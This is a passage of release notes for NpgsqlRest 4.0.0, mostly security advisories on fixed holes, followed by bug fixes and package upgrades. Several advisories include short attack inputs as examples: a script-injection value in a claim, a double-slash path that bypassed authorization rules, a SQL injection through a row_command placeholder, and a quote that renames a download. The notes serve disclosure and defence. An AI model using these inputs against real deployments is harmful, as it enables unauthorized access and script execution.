AuthorizePathscould be bypassed. The rules were matched against the raw request path, while the file itself was found through a normalized path. A request for//protected/page.htmldid not match the rule/protected/*, yet still served/protected/page.htmlto anonymous users. The same applied to///…and other variants, and to\on Windows.- Files inside dot-directories were served. Dotfiles such as
.envwere already excluded, but a file inside a dot-directory was not: if the web root contained a.gitfolder,/.git/config(which can contain credentials) and the whole repository history could be downloaded. - Memory grew without limit. Small per-path caches, and the cache of parsed HTML templates (
CacheParsedFile), were keyed by the raw request path. Every//or case variant of an existing file added another entry, and parsed HTML files were stored again in full each time.
What changed.
AuthorizePathsandParsePatternsare matched against the canonical path of the file actually served (its path relative to the web root), so every variant is protected the same way.- Paths with a segment starting with
.are no longer served. The exception is/.well-known/, which is used for ACME challenges andsecurity.txt. - The per-path pattern caches are removed (the matching is cheap). The parsed-template cache is keyed by the physical file and limited to 1,000 entries.
Claim values in parsed static HTML could inject script
Severity: Medium. Applies to static file parsing (StaticFiles:ParseContentOptions) with claims or environment variables templated into HTML pages, such as {user_name}.
What was wrong. Values were JSON-escaped with the "relaxed" encoder, which leaves <, > and & as they are. Claim values often come from data a user controls, such as a display name returned by the login function or an OAuth profile name. A value like </script><img src=x onerror=alert(1)> closed the surrounding <script> block, or injected markup into HTML text, and ran script in every page that showed it.
What changed. Templated values now escape HTML-sensitive characters (< > & ' " +) as \uXXXX. They are still complete JSON and JavaScript string literals, used the same way as before, and other Unicode text such as José is unchanged. The only visible difference is that a quote inside a value now appears as " instead of \"; both are equivalent in JavaScript and JSON.
Breaking: a wrong password now answers like an unknown user (401)
Severity: Low. Applies to login endpoints that verify passwords (the login routine returns the hash column).
What was wrong. A wrong password answered 404 Not Found, while an unknown user (the routine returned no row) answered 401 Unauthorized. The status code alone told anyone which accounts exist. Response time told the same story: only an existing account ran the password hash check, which is deliberately slow.
What changed.
- A failed password check now answers
401with the same body as an unknown user:{"title":"Unauthorized","status":401}. As in the login fix above, this covers a stored hash of NULL, a missing password, and a missing hasher. - When no row comes back but the result has the hash column, NpgsqlRest verifies the attempted password against a throwaway hash, so both cases cost the same work.
PasswordVerificationFailedCommandstill runs only for real accounts.
Do you need to do anything? Only if a client checks for 404 to detect a wrong password; it should check for 401.
Authorization is now checked before the request is processed
Severity: Low. Applies to endpoints with authorize (with or without roles).
What was wrong. The sign-in and role check ran only after all parameter processing. An anonymous caller of a protected endpoint therefore:
- made the server read and parse the request body, run password hashing for
hashparameters (deliberately slow, so cheap to abuse), run validation andencryptfor every request before receiving 401; - could learn the endpoint's parameter rules from responses meant for signed-in callers: validation errors (400),
204from astrictfunction given a NULL,404for an unknown parameter name.
What changed. Authorization is decided before any of that work, right after Basic Auth:
- Anonymous callers get
401, and signed-in callers without a required role get403, before the body is read. - For overloaded routines (one path, different parameter counts), the upfront check only applies when every overload requires sign-in, so a public overload stays public. The check after parameter processing still runs for the overload the request resolves to.
Signed-in callers see no difference.
Infrastructure error details are no longer returned to clients
Severity: Low.
What was wrong. When a request failed for a reason other than a PostgreSQL error, the error message went back to the client. For a connection failure that read like Failed to connect to 10.0.4.17:5432, put in the response title; for other unexpected errors, .NET exception text was put in detail. Both reveal internal hosts, ports and implementation details.
What changed. Those responses are now a plain 500 Internal Server Error, and the full error is in the server log, as before. Errors raised by PostgreSQL itself (raise exception, constraint violations and so on) still return their message and SQLSTATE, because routines use them to report errors to clients. Error-code mapping (ErrorHandlingOptions) is unchanged.
MCP: the DNS-rebinding check could be bypassed
Severity: Low. Applies to NpgsqlRest.Mcp, mainly to MCP servers reachable only locally or on an internal network.
What was wrong. A browser request carrying an Origin header is accepted when the origin is in AllowedOrigins or is "the server's own origin". The server's own origin was built from the request's Host header. In a DNS-rebinding attack, a web page on the attacker's domain is made to resolve to your local server, so Origin and Host both carry the attacker's domain and always matched. Any website a user visited could call the local MCP server's tools.
What changed. A matching Host now counts as same-origin only for host names an attacker can't serve a page from: localhost (and *.localhost), IP addresses, and the host names the server itself is bound to (Urls). Requests without an Origin header, which is how desktop and IDE MCP clients connect, are unaffected.
Do you need to do anything? Only if a browser page served under a DNS name calls the MCP endpoint of the same site, such as https://app.example.com calling https://app.example.com/mcp. Add that origin to McpOptions.AllowedOrigins.
OpenAPI published the routines' annotations, including credentials
Severity: Low. Applies to NpgsqlRest.OpenApi.
What was wrong. An operation's summary and description were the routine's raw comment: every annotation line along with the prose. That exposed basic_auth <user> <password> credentials, challenge_command and row_command SQL, proxy hosts, connection names and any other key = value setting, in a document that is usually public.
What changed. summary and description are now built only from the comment's prose: lines that are not annotations. That's the same text the MCP plugin uses for tool descriptions. An operation whose comment has no prose gets the default summary (FUNCTION schema.name).
The generated HTTP files and TypeScript/Dart clients still include the routine's comment, and with CommentHeader: Full its whole definition, because they are meant to mirror the source. Don't publish those files, and prefer Auth:BasicAuth configuration over passwords in basic_auth annotations.
Passwords and request bodies in logs
Severity: Low.
What was wrong.
ObfuscateAuthParameterLogValues(defaulttrue) hides parameter values of login and auth endpoints in the command log. The Trace-level log of the login command, and of the Basic Auth challenge command that runs through it, still printed every parameter value, including the password in clear text.- A request body that wasn't valid JSON was written to the log in full, as a warning. That included a login whose JSON had a typo (with its password), and a body of any size the client chose to send.
What changed.
- Those Trace entries now show
***for parameter values whenObfuscateAuthParameterLogValuesis on. - The invalid-JSON warning logs the body's length and the parser error, not the body.
SerializeAuthEndpointsResponse returned the password hash
Severity: Low. Applies only when NpgsqlRest:AuthenticationOptions:SerializeAuthEndpointsResponse is true (default false), for cookie logins whose routine returns no body column.
What was wrong. With this option, a successful login responds with the login routine's record. That record includes the password hash column (HashColumnName, default hash), which the routine must return so NpgsqlRest can verify the password, so the hash was sent to the client.
What changed. In that response the hash column is now null; all other columns are returned as before.
Breaking: no placeholder substitution in upload row_command
Severity: Low. Applies to CSV and Excel upload endpoints whose row_command annotation contains a {placeholder}.
What was wrong. Custom parameters (key = value annotations) replace {name} with the request's parameter value. That includes row_command, which is SQL text the upload handler executes for every row. row_command = call save_row($1, $2, '{_tag}') therefore pasted the caller's tag value into SQL: SQL injection.
What changed. Placeholders are no longer substituted in row_command, or in the handler-prefixed forms csv_row_command and excel_row_command. The text is executed exactly as written. At startup, a warning names any row_command that contains a placeholder.
Do you need to do anything? Only if a row_command uses a placeholder. Per-request values can't go into the row command's SQL text. Use the parameters it already receives ($1 row index, $2 row values, $3 previous result, $4 metadata JSON including user claims), or post-process the uploaded rows in the endpoint's own function, which runs after the upload with all request parameters.
Excel downloads: a request value could rename the downloaded file
Severity: Low. Applies to table_format = excel endpoints whose excel_file_name contains a {placeholder} filled from the request.
What was wrong. The Content-Disposition header was assembled as text: attachment; filename="<name>.xlsx". A " in the request value ended the quoted name. The caller could then append their own filename*= parameter, which browsers prefer, and make a download from your site save as, for example, evil.html. A line break in the value failed the response.
What changed. The header is built with ASP.NET Core's ContentDispositionHeaderValue. Quotes, path separators and control characters in the name are replaced with _, and non-ASCII names are sent correctly encoded in filename*.
Generated TypeScript and Dart clients: routine comments could break out of doc comments
Severity: Low. Applies to NpgsqlRest.TsClient and NpgsqlRest.DartClient output.
What was wrong.
- TypeScript: routine comments and definitions are copied into a
/** ... */doc block. A*/in them ended the block early, and the rest of the line became TypeScript code in the generated client. WithCommentHeader: Full, the routine body is included, and a/* ... */comment in it is enough. Usually the result was a client that didn't compile; with a crafted comment, it was code that ran in your front end. - Dart: comment lines are prefixed with
///, but lines were split only at\n. Dart also ends a line at a lone\r, so text after one ended up outside the comment.
What changed. TypeScript doc text writes */ as *\/. In Dart, every line, including those ending at a lone \r, starts with ///. Generated code is otherwise unchanged.
--install-skill no longer writes through symbolic links
Severity: Low. Applies to npgsqlrest --install-skill (added in 3.21.0).
What was wrong. The installer writes the skill files into .claude/skills/npgsqlrest/ of the current project and follows symbolic links when doing so. A cloned repository could ship that folder, or SKILL.md inside it, as a link to one of your own files, for example ~/.bashrc. Running --install-skill in that repository would have overwritten it.
What changed. If the npgsqlrest skill folder or any of the files to be written is a symbolic link, the installer stops before writing anything and names the link. .claude and .claude/skills may still be links, as dotfile managers commonly link ~/.claude.
New startup warnings for risky configurations
Severity: Low. Nothing changes at runtime; NpgsqlRest now warns at startup about settings that quietly expose or weaken something:
- Stats endpoints without authorization.
Stats:EnabledwithoutStats:RequireAuthorizationorStats:AuthorizedRoleslets anyone read database statistics. That includes/stats/activity, which lists other sessions' current query texts, database users and client addresses. encryptwithout Data Protection. Without a configured data protector, theencryptannotation does nothing, and the values are stored as plain text. The warning names each affected routine.
Fixes
Command timeouts of one minute or more were silently ignored
A command timeout, set by NpgsqlRest:CommandTimeout or the timeout annotation, was converted to seconds using only the seconds part of the interval:
"1 minute","2 minutes"or"1 hour"became0, which Npgsql treats as no timeout at all;"90 seconds"became30.
A timeout meant to stop runaway queries did nothing. Timeouts now use the full duration, rounded up to whole seconds, so a sub-second timeout no longer turns into "unlimited" either. An explicit 0 still means no timeout.
Auth:LogoutPath did not work, and could create a login endpoint
Auth:LogoutPath is documented as a URL path, like Auth:LoginPath. The client instead compared it with the routine name and marked the matching endpoint as a login endpoint:
- Set to a URL as documented, it never matched anything, so that endpoint never signed anyone out, and sessions survived "logout".
- Set to the routine name, it turned the logout routine into an anonymous login endpoint, and whatever row it returned became a signed-in user.
LogoutPath now matches the endpoint path and marks it as a logout endpoint. Endpoints marked with the logout annotation were not affected.
Multi-statement SQL files repeated rows when a statement returned more than 25 rows
A SQL file with several statements returns one JSON object with a result per statement. When one of the statements returned more rows than BufferRows (25 by default), the rows already sent stayed in the buffer and were sent again with each following batch. The response repeated rows and was not valid JSON. This has been there since multi-statement SQL files were introduced in 3.12.0; the tests only used small results. Every row is now returned once.
For these endpoints buffer_rows 0 and buffer_rows 1 also had their meanings swapped. They now mean the same as everywhere else: 0 sends every row, 1 buffers all rows.
buffer_rows 0 failed every request
BufferRows: 0 (or the buffer_rows 0 annotation) is documented as "send every row". Since at least 3.0.0 it divided by zero instead, and every request to such an endpoint returned 500. It now sends every row.
Text arrays with an element ending in a backslash were returned wrong
A text[] (or varchar[], ...) value with an element that ends in a backslash, such as array['a\', 'b'], came back with its elements merged and shifted (["a\\\",b", ...]). PostgreSQL sends that element as "a\\"; the converter took its closing quote for an escaped quote. Such arrays are now returned correctly: ["a\\","b"].
SQL files: a comment starting with "Returns" or "result" was taken for an annotation
The SQL file source reads returns <type>, result <name> and define_param <name> from comments, with or without the @. It matched them by the first letters of the line, so ordinary sentences were annotations too:
-- Returns all active userswas read as@returnswith the typeall active users. That type does not exist, which is an error, and with the defaultErrorMode: Exitthe application did not start.-- result of the joinrenamed that statement's result toof.-- resulting rowsand-- define_params xmatched as well.
Now the keyword has to be the first whole word. Written without the @, a line is an annotation only when the rest has the shape of one: a single name after result, a type name after returns (one word, or a type of several words such as double precision and timestamp with time zone). If such a line still names a type that does not exist (-- Returns everything), it is taken as a comment and a warning says so. Written with the @, the line is always the annotation, as before, and an unknown type is still an error.
Two related fixes:
- In a file with a single statement and no semicolon, the header's
@returns,@singleand@skipwere not read at all. - The source's own lines (
@skip,@result ...,@returns ...,@define_param ...) were passed on as prose and published by OpenAPI and MCP as part of the endpoint's description when written without the@. They no longer are.
@param $1 type is <type> gave no type to the first description of a SQL file
The form that sets a parameter's type without renaming it worked for :name parameters only. For $1 the type was applied later, but PostgreSQL had already described the statement without it, which fails for a parameter whose type it cannot infer.
Custom parameter keys were case-sensitive
TsClient_Module = users was stored under that exact key, and everything that reads custom parameters asks for lower case names, so it was never found. Keys are now matched in any case, in endpoint comments and for the values resolved per request. Upload handler names (upload for csv) and table format names (table_format = HTML) are matched in any case too; a handler configured under a name with capitals could not be selected at all, because annotation words are read in lower case.
A Windows path in a custom parameter stopped the application
Values are read with escapes (separator = \t). A value that is not a valid escape sequence, such as file_system_path = C:\uploads (\u begins a Unicode escape), raised an exception while the endpoints were built. Such a value is now taken as written.
key = value forms that did nothing, in silence
basic_auth = alice secretturned Basic Auth on and added no user (the words were read one position off).raw = on,single = 1,user_context = enabledand the other built-in switches accepted onlytrueandfalse; anything else was ignored. They now accepttrue,on,enabled,1andfalse,off,disabled,0, like the client generators' keys always did.- A value that is not valid (
raw = maybe,buffer_rows = many,timeout = soon,sse_level = loud, an unknownretry_strategy) was ignored without a word. It is still ignored, and now logged as a warning. @_token = select ...for a parameter named_tokenwas stored as a custom parameter, not used as its resolved parameter expression; the@is now optional there as everywhere.
Plugin annotations ignored the for tag
for <tag> makes the lines after it apply only to routines with that tag. Built-in annotations honored it; a plugin's (mcp, openapi) applied regardless.
OpenAPI: a tag could not be several words
@openapi tag Partner API produced two tags, Partner and API, although the documentation shows it producing one. Tags are now separated by commas only: @openapi tags Partner API, Billing is two tags.
TypeScript and Dart clients: one file, or several
With BySchema: false and no endpoint naming a module, the generators went down the multi-file path: they wrote nothing and logged that FilePath has no {0}, or split by schema anyway when it had one. And with a module named and a {0} in the path, everything was written into a file literally named {0}.ts. Now there is one file unless files are split: by schema (BySchema), or by module when endpoints name one and the path has a {0} for it.
HTTP Custom Types
- A header whose name begins with a directive's name was lost.
Timeout-Ms: 100was taken for thetimeoutdirective (and failed to parse, so the timeout became 30 seconds),Retry_Delay_Hint: 5forretry_delay. The keyword now has to be a whole word. error_messagekept the error of a failed attempt after a retry succeeded. A response with status 200 could carry "Request timed out after 0.5 seconds".- Calls to the application's own endpoints (a URL starting with
/):{placeholders}in header values and in the content type were sent as written, and@timeoutdid not apply, so the caller waited for as long as the called endpoint took. Both now work as for outbound calls, and when the time is up the called endpoint is cancelled.
Test runner
- An include line with a comment after the path failed (
\ir fixtures/users.sql -- the test users): the comment was taken as part of the path. The documentation's own example did this. - Endpoints with an HTTP Custom Type that calls another server were not refused. Tests run endpoints in-process and must not call external services; proxy endpoints were refused with a message that also named HTTP types, but nothing checked those. A type that calls the application's own endpoints is fine.
SQL files: @http was not seen as an HTTP tag
With the default CommentsMode (OnlyWithHttpTag), a SQL file is read only when its comment has an HTTP tag. That first check did not accept the optional @, so a file whose only tag was written -- @http GET was skipped, although the same line works everywhere else. It is now recognised.
No warning for placeholders in @row_command
An upload row_command is SQL, so {placeholders} are never substituted in it, and NpgsqlRest warns when one is written there. The warning was skipped when the key was written with the @ prefix (@row_command = ...). The value was never substituted either way; only the warning was missing.
NuGet Package Upgrades
NpgsqlRest (main library) and all plugins (NpgsqlRest.CrudSource, NpgsqlRest.DartClient, NpgsqlRest.HttpFiles, NpgsqlRest.Mcp, NpgsqlRest.OpenApi, NpgsqlRest.SqlFileSource, NpgsqlRest.TsClient):
- Target frameworks
net10.0→net10.0andnet11.0 Microsoft.SourceLink.GitHub10.0.300 → 11.0.100 (build-time only; also resolves the NU1902 advisory forMicrosoft.Build.Tasks.Git10.0.300)Npgsqlstays at 10.0.3, the latest release; there is no Npgsql 11 yet.
Package versions in this release. The core library is NpgsqlRest 4.0.0. Every plugin is published again, built for both frameworks and against the 4.0.0 core:
| Package | Version |
|---|---|
NpgsqlRest.TsClient | 1.37.0 → 1.38.0 |
NpgsqlRest.DartClient | 1.0.0 → 1.1.0 |
NpgsqlRest.Mcp | 1.1.0 → 1.2.0 |
NpgsqlRest.OpenAPI | 1.2.2 → 1.3.0 |
NpgsqlRest.SqlFileSource | 1.1.0 → 1.2.0 |
NpgsqlRest.CrudSource | 1.4.0 → 1.5.0 |
NpgsqlRest.HttpFiles | 1.4.4 → 1.5.0 |
NpgsqlRestClient (client application):
Microsoft.AspNetCore.Authentication.JwtBearer10.0.9 → 11.0.0Microsoft.Extensions.Caching.Hybrid10.7.0 → 11.0.0Microsoft.Extensions.Caching.StackExchangeRedis10.0.9 → 11.0.0Serilog.AspNetCore10.0.0 → 11.0.0SpreadCheetah1.28.0 → 1.29.0StackExchange.Redis3.0.17 → 3.4.35
Test and benchmark projects (not shipped):
Microsoft.AspNetCore.Mvc.Testing10.0.9 → 11.0.0,Microsoft.NET.Test.Sdk18.7.0 → 18.12.0,xunit.runner.visualstudio3.1.5 → 4.0.1,coverlet.collector10.0.1 → 10.1.1,FluentAssertions8.10.0 → 8.11.0WireMock.Net2.12.0 → 2.31.0 (also resolves the NU1902 advisory for its transitiveMicrosoft.AspNetCore.WebUtilities2.3.0)BenchmarkDotNet0.15.8 → 0.16.0-preview.2. The latest stable version cannot run on .NET 11.